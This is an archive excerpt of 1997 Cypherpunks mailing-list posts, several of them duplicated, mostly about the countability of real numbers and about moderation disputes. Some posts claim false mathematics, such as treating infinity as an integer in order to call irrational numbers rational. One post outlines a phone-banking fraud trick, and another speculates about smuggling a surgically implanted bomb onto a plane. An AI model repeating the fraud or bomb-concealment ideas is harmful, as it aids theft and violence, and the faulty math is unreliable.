Date: Sun, 19 Jan 1997 19:43:46 -0800 (PST)
To: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Subject: Re: Numbers we cannot talk about
Message-ID: <199701200343.TAA29149@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Elliott wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> > At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> > >Is it REALLY true that there are real numbers that cannot be
> > >generated by any algorithm? Some guy said that since the set of
> > >algorithms is countable, but the set of real numbers is more than
> > >countable, there must be some numbers for which there is no
> > >algorithms that generate them.
> > 
> > There are sets of real numbers whose existence we can prove, but which
> > we cannot otherwise describe.  This is more extreme than being
> > "generated by an algorithm".  We can't even tell somebody which
> > numbers to generate!  (I take "to generate" here to mean "to compute a
> > decimal approximation.")
> > 
> > The set of real numbers is uncountable as is the set of subsets of the
> > real numbers.  Yet, we have only countably infinite ways to describe
> > sets of numbers.
> > 
> > All sets of numbers which we can describe can be described with a
> > finite set of symbols.  (Human beings are unable to distinguish
> > between an infinite number of states.)  The set of combinations of
> > this finite set is infinite, but countable.
> > 
> 
> Perhaps the axioms in set theory that tells us that the integers
> have an uncountable number of subsets is, in point of fact, false.
> Perhaps only those subsets of the integers that can be described
> by an algorithm exist (actually, contrary to what the usual axioms of
> set theory assert).

It is very interesting. My limited understanding of this approach is
that they say that only things that can be constructed by some
positive method exist (please correct me if I am mistaken).

But the question is, where do they stop and what exactly is "construction?"

Say, does sqrt(2) "exist" in their sense of the world? We know we can
calculate any given number of digits in it, is that enough?

> We know that the set of axioms which tell us that there are unaccountably
> many reals can be satisfied by a countable model!
> (Downward Louwenheim Skolem Tarski theorem.)
> 
> I know that Standard mathematical axioms yields lots of interesting
> results, but when it talks of the infinite and we are dealing
> with a practical subject like cryptography or even physics it
> should not be taken too seriously. (With respect to uncountable sets.)

Some of the applications of these theories are very relevant. For
example, a theorem that proves that it is impossible to write a program
that would determine if any other program would stop or loop forever, is
very relevant and interesting.

	- Igor.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 18:38:55 -0800 (PST)
To: paul.elliott@hrnowl.lonestar.org (Paul Elliott)
Subject: Re: Numbers we cannot talk about
In-Reply-To: <32e2a55c.flight@flight.hrnowl.lonestar.org>
Message-ID: <199701200234.UAA06387@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Paul Elliott wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> > At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> > >Is it REALLY true that there are real numbers that cannot be
> > >generated by any algorithm? Some guy said that since the set of
> > >algorithms is countable, but the set of real numbers is more than
> > >countable, there must be some numbers for which there is no
> > >algorithms that generate them.
> > 
> > There are sets of real numbers whose existence we can prove, but which
> > we cannot otherwise describe.  This is more extreme than being
> > "generated by an algorithm".  We can't even tell somebody which
> > numbers to generate!  (I take "to generate" here to mean "to compute a
> > decimal approximation.")
> > 
> > The set of real numbers is uncountable as is the set of subsets of the
> > real numbers.  Yet, we have only countably infinite ways to describe
> > sets of numbers.
> > 
> > All sets of numbers which we can describe can be described with a
> > finite set of symbols.  (Human beings are unable to distinguish
> > between an infinite number of states.)  The set of combinations of
> > this finite set is infinite, but countable.
> > 
> 
> Perhaps the axioms in set theory that tells us that the integers
> have an uncountable number of subsets is, in point of fact, false.
> Perhaps only those subsets of the integers that can be described
> by an algorithm exist (actually, contrary to what the usual axioms of
> set theory assert).

It is very interesting. My limited understanding of this approach is
that they say that only things that can be constructed by some
positive method exist (please correct me if I am mistaken).

But the question is, where do they stop and what exactly is "construction?"

Say, does sqrt(2) "exist" in their sense of the world? We know we can
calculate any given number of digits in it, is that enough?

> We know that the set of axioms which tell us that there are unaccountably
> many reals can be satisfied by a countable model!
> (Downward Louwenheim Skolem Tarski theorem.)
> 
> I know that Standard mathematical axioms yields lots of interesting
> results, but when it talks of the infinite and we are dealing
> with a practical subject like cryptography or even physics it
> should not be taken too seriously. (With respect to uncountable sets.)

Some of the applications of these theories are very relevant. For
example, a theorem that proves that it is impossible to write a program
that would determine if any other program would stop or loop forever, is
very relevant and interesting.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Sun, 19 Jan 1997 11:43:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: And who will "moderate" the windbag Sandfort?
Message-ID: <199701191943.UAA14523@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



One of the biggest offendors in getting into long flamewars has always been
Sandfort himself. Why am I not surprised that most of his recent posts have
had nothing to do with crypto but a lot to do with his own flames about
others?

And at such length, oh vey!

He said:

"First, I did not use it as a legal term of art, so a legal
dictionary is not appropriate.  Second, I see no sustantive
difference between "forejudgment" and my shorthand version
(pre-judge).  Third, I wrote "literal."  Examine the etimology of
the word for it's literal meaning.  It's pretty obvious AND
specific [ME.; OFr, /prejudice/ (Fr. /prejudice/); L praejudicium/,
from /prae/, before, and /judicium/, a judgment, from /judex/,
/judicgis/, a judge.]  In other words, to pre-judge.  Get it?"

Blah blah blah yadda yadda yadda yadda yo momma wears army boots yadda
yadda blah blah

This longwinded flame is from a longwinded windbag. He proposes to screen
the posts of others for "suitability" but flames others ("dont be such an
ass" in another of this afternoon's posts from him) and resorts to long and
boring dissections like this one.

"I have no intention nor duty to satisfy everyone.  That is not
possible.  I will use a "reasonable person" test.  (I am, by the
way, using this in the legal term of art sense.)"

Who will moderate this "windbag"?

He thinks the list is his. It may run on Gilmour's machine, but the
"Cypherpunks" are not owned by Gilmour and Sandfort.


"P.S.    I talked to Gilmore about the holdup in getting
        started.  He has been too busy to get the tech
        side going, but when he does, (a) everyone will
        be notifed as to the start date, and the test
        will still run for an entire month.  Until then,
        it is (sadly) business as usual."

Why was this new dictatoriul policy  (especially making the moderated list
the default, instead of offering the moderated list as a new option)
announced to begin on January 11th, then?

Gilmour is probly having second thoughts (a good thing) and is just
dragging his feet.

Disgusted.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 19:10:49 -0800 (PST)
To: sandfort@crl.com (Sandy Sandfort)
Subject: Re: AIDAS, SHMADIDAS
In-Reply-To: <Pine.SUN.3.91.970119183621.14346C-100000@crl3.crl.com>
Message-ID: <199701200305.VAA06634@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


alright, i retract my statement.

Thank you, Sandy.

igor

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Sun, 19 Jan 1997 ichudov@algebra.com wrote:
> 
> > I would love to hear Sandy's statement as to whether AIDAS is Sandy 
> > Sandfort or not. If Sandy says no, I will believe him, because his
> > reputation has a longer time span than AIDAS's. 
> > 
> > In case Sandy says that AIDAS is not him, I will publicly retract my
> > statement, which by the way I made to AIDAS privately (I have no idea
> > why he posted it to the mailing list, although I do not really mind).
> 
> Normally, I would not comment one way or the other on this sort
> of thing.  We have a whole alphabet soup of aliases out there and
> I don't intend to waste time with denials.  Heck, it helps keep
> an air of mystery about the list.  But Igor has been a fair and
> reasoned contributor to this list, so as a personal favor I will
> admit that I AM NOT AIDAS.  Sorry, but that's the truth.
> 
> 
>  S a n d y
> 
> P.S.	I'm not Igor either.
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 19:42:01 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: AIDAS, SHMADIDAS
Message-ID: <199701200342.TAA29111@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


alright, i retract my statement.

Thank you, Sandy.

igor

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Sun, 19 Jan 1997 ichudov@algebra.com wrote:
> 
> > I would love to hear Sandy's statement as to whether AIDAS is Sandy 
> > Sandfort or not. If Sandy says no, I will believe him, because his
> > reputation has a longer time span than AIDAS's. 
> > 
> > In case Sandy says that AIDAS is not him, I will publicly retract my
> > statement, which by the way I made to AIDAS privately (I have no idea
> > why he posted it to the mailing list, although I do not really mind).
> 
> Normally, I would not comment one way or the other on this sort
> of thing.  We have a whole alphabet soup of aliases out there and
> I don't intend to waste time with denials.  Heck, it helps keep
> an air of mystery about the list.  But Igor has been a fair and
> reasoned contributor to this list, so as a personal favor I will
> admit that I AM NOT AIDAS.  Sorry, but that's the truth.
> 
> 
>  S a n d y
> 
> P.S.	I'm not Igor either.
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 21:15:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701200513.VAA00645@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

>It is my understanding that an ordinary banking consumer that
>uses "pay bills by phone" service cannot transfer $$ to any arbitrary
>account. There is a limited list of permitted accounts, such as utility 
>companies. Therefore, the risk of unauthorized transfer is very
>limited.


It is limited, both accounts have to have the same password, (four
character, numeric.)  If I want to transfer funds from another persons
account to one that I control, all I have to do is change the password on
one of them to that of the other, transfer funds, and change the password
back.  By the time that my victim found out, (via the little letter "per
your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
would be long gone.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 22:11:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701200611.WAA01690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

>It is my understanding that an ordinary banking consumer that
>uses "pay bills by phone" service cannot transfer $$ to any arbitrary
>account. There is a limited list of permitted accounts, such as utility 
>companies. Therefore, the risk of unauthorized transfer is very
>limited.


It is limited, both accounts have to have the same password, (four
character, numeric.)  If I want to transfer funds from another persons
account to one that I control, all I have to do is change the password on
one of them to that of the other, transfer funds, and change the password
back.  By the time that my victim found out, (via the little letter "per
your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
would be long gone.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 21:13:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Debt (calling) Cards Re: Newt's phone calls
Message-ID: <199701200513.VAA00653@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:58 PM 1/17/97 -0800, Rich Graves wrote:

>What does concern me is personal privacy. I don't want people tracking
>my movements or purchasing patterns, so I prefer to use cash or
>pseudonymous debit cards.

This reminds me, I got a sprint 5 minute sample calling card when I got my
college texts.  I suspect that other people on this list got one as well.
Mine is completely unused and although transferring the actual cards would
cost, (the stamp and envelope), would anyone be interested in trading the
numbers?  This one is registered as being handed out in Weatherford Okla.
Five minutes of long distance is trivial, so I would be willing to trade in
regular e-mail, as opposed to through a middleman.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 22:12:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Debt (calling) Cards Re: Newt's phone calls
Message-ID: <199701200612.WAA01710@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:58 PM 1/17/97 -0800, Rich Graves wrote:

>What does concern me is personal privacy. I don't want people tracking
>my movements or purchasing patterns, so I prefer to use cash or
>pseudonymous debit cards.

This reminds me, I got a sprint 5 minute sample calling card when I got my
college texts.  I suspect that other people on this list got one as well.
Mine is completely unused and although transferring the actual cards would
cost, (the stamp and envelope), would anyone be interested in trading the
numbers?  This one is registered as being handed out in Weatherford Okla.
Five minutes of long distance is trivial, so I would be willing to trade in
regular e-mail, as opposed to through a middleman.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 21:13:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701200513.VAA00660@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 1/17/97 EST, Dr.Dimitri Vulis wrote:
>snow <snow@smoke.suba.com> writes:
>
>> > I say we make people fly naked and ship their stuff via UPS ;).
>>
>>     >>shudder<<
>>
>>     No!. A clear case of the cure being worse than the disease...
>
>Why. it might be fun - those long flight can be so boring with clothes on...
>
Wouldn't work.  A sworn member of the holy order of the restitution for the
crimes of my enemies, has an explosive device buried within h[is/er] bowels.
When (s)he goes up, alone, (s)he will take 100+ enemies with h[im/er].  Of
course (s)he has to be willing to die, or be duped into thinking that (s)he
really has appendicitis.  So a courier would still be easy to find.
Or, a cancer infected member of said religious cult, knowing that (s)he will
soon die anyway, and probably atone for h[is/er] many sins, ((s)he hasn't
really done anything rightous, like kill one of the enemy), chooses to have
h[is/er] cancerous bowels, up to the stomache, removed, and replaced with a
bomb.  (s)he then heals up a little while, being fed intraveinously, until
the time of h[is/er] atonement.  A makeup artist erases the signs of disease
that (s)he carries and a large dose of pain killer is given to h[im/er] to
take right before entering the airport.  (s)he dies knowing that (s)he is
going straight past heaven to an even higher level.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 22:14:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701200614.WAA01733@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 1/17/97 EST, Dr.Dimitri Vulis wrote:
>snow <snow@smoke.suba.com> writes:
>
>> > I say we make people fly naked and ship their stuff via UPS ;).
>>
>>     >>shudder<<
>>
>>     No!. A clear case of the cure being worse than the disease...
>
>Why. it might be fun - those long flight can be so boring with clothes on...
>
Wouldn't work.  A sworn member of the holy order of the restitution for the
crimes of my enemies, has an explosive device buried within h[is/er] bowels.
When (s)he goes up, alone, (s)he will take 100+ enemies with h[im/er].  Of
course (s)he has to be willing to die, or be duped into thinking that (s)he
really has appendicitis.  So a courier would still be easy to find.
Or, a cancer infected member of said religious cult, knowing that (s)he will
soon die anyway, and probably atone for h[is/er] many sins, ((s)he hasn't
really done anything rightous, like kill one of the enemy), chooses to have
h[is/er] cancerous bowels, up to the stomache, removed, and replaced with a
bomb.  (s)he then heals up a little while, being fed intraveinously, until
the time of h[is/er] atonement.  A makeup artist erases the signs of disease
that (s)he carries and a large dose of pain killer is given to h[im/er] to
take right before entering the airport.  (s)he dies knowing that (s)he is
going straight past heaven to an even higher level.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 19 Jan 1997 21:54:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership
Message-ID: <199701200554.VAA31722@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:36 PM 1/19/1997, Jim Choate wrote:
>"The least upper bound of a set of real numbers is often called the
>supremum, the greatest lower bound its infimum. In general the supremum and
>infimum of a set ARE MEMBERS OF THE SET or at least LIMITS OF SEQUENCES OF
>MEMBERS OF THE SET."
>
>[capitalization is mine]
>
>In this case the suprenum is infinity.
>
>Introduction to Calculus and Analysis
>Courant and John
>Vol. 1, pp. 97, Section e.
>1965 Edition
>Library of Congress: 65-16403

I presume this is a reference to Jim's earlier post:

At 1:19 PM 1/19/1997, Jim Choate wrote:
>Forwarded message:
>
>> Date: Sun, 19 Jan 1997 12:20:45 -0600
>> From: Sir Robin of Locksley <tozser@stolaf.edu>
>
>>  >Is it possible to prove that number 0.1234567891011121314151617181920...
>>  >iz irrational? 
>>  
>> Most definately. All you need to do is prove that the set of this number is
>> uncountable, ergo is irrational. If you have friend who have done math in real
>> analysis they can explain more.
>
>irrational means 'not expressible as the ratio of two integers', this does
>not imply uncountable.
>
>Whether 0.12345678910111213... is irrational or not depends on how we choose
>to define a rational number where the denominator and numerator are both
>approaching infinity and how quickly those approaches occur.
>
>[ What is your definition of infinity/infinity ?]
>
>As alluded to before,
>
>  0.12345678910111213    =    12345678910111213.... / n 
>
>  (where n = infinity)
>
>0.123456789101112... is certainly countable because by the definition of
>countable it must be 1-to-1 with the counting numbers (ie non-negative
>integers), which this one clearly is since it contains each positive
>non-zero integer (ie the set of numbers required to produce the number are
>clearly less, 1 less to be exact, than the counting numbers).

Of course this same argument could be used to claim that pi is
also rational.  pi =  314159.... / n  (where n=infinity).

What could be the problem here?  One problem might be that an integer
(not including infinity) divided by "infinity" should be 0.

The p/q definition of rational numbers does not rely on "infinity"
being a member of the set of integers.  Also, we rarely hear this
dialogue: "Give me an integer."  "Okay - infinity!"

Still, let's define a set which contains the integers as well as
positive and negative "infinity".  I will call this set the
"Choate-integers."

Let's add some reasonable rules for working with +inf and -inf.  n is
a non-zero positive traditional integer.

a. -inf = +inf * -1
b. +inf * n = +inf
c. +inf + n = +inf
d. +inf / +inf = 1

Operations involving multiplication or division of +inf and zero are
undefined.

Using these definitions, you will find that the p/q definition of
rational numbers operates as expected on the set of Choate-integers.

The argument I supplied earlier for the rational nature of 0.1234...
still holds.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Sun, 19 Jan 1997 22:11:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership
Message-ID: <199701200611.WAA01701@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:36 PM 1/19/1997, Jim Choate wrote:
>"The least upper bound of a set of real numbers is often called the
>supremum, the greatest lower bound its infimum. In general the supremum and
>infimum of a set ARE MEMBERS OF THE SET or at least LIMITS OF SEQUENCES OF
>MEMBERS OF THE SET."
>
>[capitalization is mine]
>
>In this case the suprenum is infinity.
>
>Introduction to Calculus and Analysis
>Courant and John
>Vol. 1, pp. 97, Section e.
>1965 Edition
>Library of Congress: 65-16403

I presume this is a reference to Jim's earlier post:

At 1:19 PM 1/19/1997, Jim Choate wrote:
>Forwarded message:
>
>> Date: Sun, 19 Jan 1997 12:20:45 -0600
>> From: Sir Robin of Locksley <tozser@stolaf.edu>
>
>>  >Is it possible to prove that number 0.1234567891011121314151617181920...
>>  >iz irrational? 
>>  
>> Most definately. All you need to do is prove that the set of this number is
>> uncountable, ergo is irrational. If you have friend who have done math in real
>> analysis they can explain more.
>
>irrational means 'not expressible as the ratio of two integers', this does
>not imply uncountable.
>
>Whether 0.12345678910111213... is irrational or not depends on how we choose
>to define a rational number where the denominator and numerator are both
>approaching infinity and how quickly those approaches occur.
>
>[ What is your definition of infinity/infinity ?]
>
>As alluded to before,
>
>  0.12345678910111213    =    12345678910111213.... / n 
>
>  (where n = infinity)
>
>0.123456789101112... is certainly countable because by the definition of
>countable it must be 1-to-1 with the counting numbers (ie non-negative
>integers), which this one clearly is since it contains each positive
>non-zero integer (ie the set of numbers required to produce the number are
>clearly less, 1 less to be exact, than the counting numbers).

Of course this same argument could be used to claim that pi is
also rational.  pi =  314159.... / n  (where n=infinity).

What could be the problem here?  One problem might be that an integer
(not including infinity) divided by "infinity" should be 0.

The p/q definition of rational numbers does not rely on "infinity"
being a member of the set of integers.  Also, we rarely hear this
dialogue: "Give me an integer."  "Okay - infinity!"

Still, let's define a set which contains the integers as well as
positive and negative "infinity".  I will call this set the
"Choate-integers."

Let's add some reasonable rules for working with +inf and -inf.  n is
a non-zero positive traditional integer.

a. -inf = +inf * -1
b. +inf * n = +inf
c. +inf + n = +inf
d. +inf / +inf = 1

Operations involving multiplication or division of +inf and zero are
undefined.

Using these definitions, you will find that the p/q definition of
rational numbers operates as expected on the set of Choate-integers.

The argument I supplied earlier for the rational nature of 0.1234...
still holds.

Math Man






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 19:53:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200400.WAA01432@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Only countably many real numbers, or members of any uncountable
> set, are denumerable. It is the property of being uncountable,
> rather than of being real or complex, which is important here.

In short you are saying there are Reals which can not be expressed in the
format:

     AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

where m and n -> infinity. Another way of saying this is that there
are Reals for which membership in a set of Reals, because they are
uncountable and therefore unrepresentable, is not possible. From a set
perspective this means,

R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

such that there are uncountable numbers between m,n or p,q; etc.
 
Clearly in contradiction with the base axioms of mathematics as described by
Euclid in defining a line.

> In general, only countably many members of any uncountable set
> can be precisely specified within any formal system, given names
> comprised of strings of symbols, or other similar things.

And I contend that ANY number which is Real can be expressed by the decimal
expansion above. Which clearly qualifies as a formal system.

There are three ways of looking at the total of mathematics,

symbolic

set theory (Bourbaki School)

geometric (Euclidian)

While it is true the 3 are equivalent, the choice of approach does have a
relevance on how difficult, if even tractible, the proof is for any particular
concept.

> It is often convenient, such as when drawing contour maps, to
> consider the complex numbers to be in 1-1 correspondence with the
> points of the plane.  However, I wouldn't necessarily consider
> regions of the complex plane to have "area" in the Euclidian
> sense.

The Euclidian plane IS a complex plane. The -j or -i used in Complex
symboligy simply means 'rotate the second axis of measure 90 degree
counter-clockwise (by agreement) to the axis of the first measure'. If it
requires 2 or more numbers (integer or real) taken as a set to represent the
quantity it is a Complex. Regions of a Complex plane are directly
comparable (1-to-1) with the concept of 'area' on the Euclidian plane.

> We can't physically draw a line segment to arbitrary high
> precision.

Irrelevant. If the hole in my approach is that I can't draw a line of
arbitrary precision in practice then your own 'uncountable numbers' argument
falls for the same reason because if it is truly uncountable you can't point
to it on a number line and say "there is an uncountable". This discussion is
one of principles, not one of practice.

> We can conceive of the notion of line segments being
> in 1-1 correspondence with the reals, but we can specify at most
> countably many "finitely denumerable" line segments if we wish to
> discuss their lengths individually.

To say there are Reals for which there is no linear representation is the
same as saying there are lengths which can't be measured. Now since a line
is nothing but a set of points, which don't have size, but only position
this obviously holds no water, unless you are saying it is not possible to
place two points arbitrarily close together, which would imply that points
have some sort of width, clearly against the definition of a point.

This all goes back to what I said in a earlier post, the problem comes from
our axiomatic (ie taken on faith, unprovable) use of infinity. Without a
clear and precise dilineation of those axioms prior to the proof such
conclusions are worthless. Several of you have said "infinity is not a
number", this is an axiom. Change the axioms and the whole structure
changes. I am simply saying that perhaps we should look at the "infinity is
not a number" axiom, much as geometers look at Euclids Fifth Postulate.
There is nothing inherent in nature that prefers one axiomatic expression
of infinity over the other.

By changing our axiomatic definition of infinity we reduce the sets we have
to work with from [Integer, Irrational, Real, Complex] to [Integer, Real,
Complex]. Now, whether it is worth the trouble is at this time unanswerable
because nobody has ever done the research.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com


"The laws of mathematics, as far as they refer to reality, are not certain,
and as far as they are certain, do not refer to reality."

                                                  Albert Einstein






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 20:57:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200457.UAA00416@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Only countably many real numbers, or members of any uncountable
> set, are denumerable. It is the property of being uncountable,
> rather than of being real or complex, which is important here.

In short you are saying there are Reals which can not be expressed in the
format:

     AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

where m and n -> infinity. Another way of saying this is that there
are Reals for which membership in a set of Reals, because they are
uncountable and therefore unrepresentable, is not possible. From a set
perspective this means,

R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

such that there are uncountable numbers between m,n or p,q; etc.
 
Clearly in contradiction with the base axioms of mathematics as described by
Euclid in defining a line.

> In general, only countably many members of any uncountable set
> can be precisely specified within any formal system, given names
> comprised of strings of symbols, or other similar things.

And I contend that ANY number which is Real can be expressed by the decimal
expansion above. Which clearly qualifies as a formal system.

There are three ways of looking at the total of mathematics,

symbolic

set theory (Bourbaki School)

geometric (Euclidian)

While it is true the 3 are equivalent, the choice of approach does have a
relevance on how difficult, if even tractible, the proof is for any particular
concept.

> It is often convenient, such as when drawing contour maps, to
> consider the complex numbers to be in 1-1 correspondence with the
> points of the plane.  However, I wouldn't necessarily consider
> regions of the complex plane to have "area" in the Euclidian
> sense.

The Euclidian plane IS a complex plane. The -j or -i used in Complex
symboligy simply means 'rotate the second axis of measure 90 degree
counter-clockwise (by agreement) to the axis of the first measure'. If it
requires 2 or more numbers (integer or real) taken as a set to represent the
quantity it is a Complex. Regions of a Complex plane are directly
comparable (1-to-1) with the concept of 'area' on the Euclidian plane.

> We can't physically draw a line segment to arbitrary high
> precision.

Irrelevant. If the hole in my approach is that I can't draw a line of
arbitrary precision in practice then your own 'uncountable numbers' argument
falls for the same reason because if it is truly uncountable you can't point
to it on a number line and say "there is an uncountable". This discussion is
one of principles, not one of practice.

> We can conceive of the notion of line segments being
> in 1-1 correspondence with the reals, but we can specify at most
> countably many "finitely denumerable" line segments if we wish to
> discuss their lengths individually.

To say there are Reals for which there is no linear representation is the
same as saying there are lengths which can't be measured. Now since a line
is nothing but a set of points, which don't have size, but only position
this obviously holds no water, unless you are saying it is not possible to
place two points arbitrarily close together, which would imply that points
have some sort of width, clearly against the definition of a point.

This all goes back to what I said in a earlier post, the problem comes from
our axiomatic (ie taken on faith, unprovable) use of infinity. Without a
clear and precise dilineation of those axioms prior to the proof such
conclusions are worthless. Several of you have said "infinity is not a
number", this is an axiom. Change the axioms and the whole structure
changes. I am simply saying that perhaps we should look at the "infinity is
not a number" axiom, much as geometers look at Euclids Fifth Postulate.
There is nothing inherent in nature that prefers one axiomatic expression
of infinity over the other.

By changing our axiomatic definition of infinity we reduce the sets we have
to work with from [Integer, Irrational, Real, Complex] to [Integer, Real,
Complex]. Now, whether it is worth the trouble is at this time unanswerable
because nobody has ever done the research.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com


"The laws of mathematics, as far as they refer to reality, are not certain,
and as far as they are certain, do not refer to reality."

                                                  Albert Einstein







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 22:25:29 -0800 (PST)
To: WinSock Remailer <winsock@rigel.cyberpass.net>
Subject: Re: Take it to sci.math
In-Reply-To: <199701200602.WAA14162@sirius.infonex.com>
Message-ID: <Pine.SUN.3.91.970119221019.11691J-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, WinSock Remailer wrote:

> 
> Will all those people who are talking about set theory and
> the countability of various number systems take their discussion
> to sci.math, please? 'Cuz
> ...
> Hey Sandy, you gonna censor these creeps once you start censoring?

I won't be censoring anyone.  I will, however, be sorting posts 
into the three lists.  As I work my way into moderation mode, I
don't expect to sort math or other off-topic posts into the flam
(flames & spam) list.  In retrospect, the previous "creeps" 
comment should probably have gotten the post sorted to the flam
list.  Oh well, I'll get up to speed pretty soon, I hope.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl3.crl.com>
Date: Sun, 19 Jan 1997 22:40:27 -0800 (PST)
To: WinSock Remailer <winsock@rigel.cyberpass.net>
Subject: Re: Take it to sci.math
Message-ID: <199701200640.WAA02127@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, WinSock Remailer wrote:

> 
> Will all those people who are talking about set theory and
> the countability of various number systems take their discussion
> to sci.math, please? 'Cuz
> ...
> Hey Sandy, you gonna censor these creeps once you start censoring?

I won't be censoring anyone.  I will, however, be sorting posts 
into the three lists.  As I work my way into moderation mode, I
don't expect to sort math or other off-topic posts into the flam
(flames & spam) list.  In retrospect, the previous "creeps" 
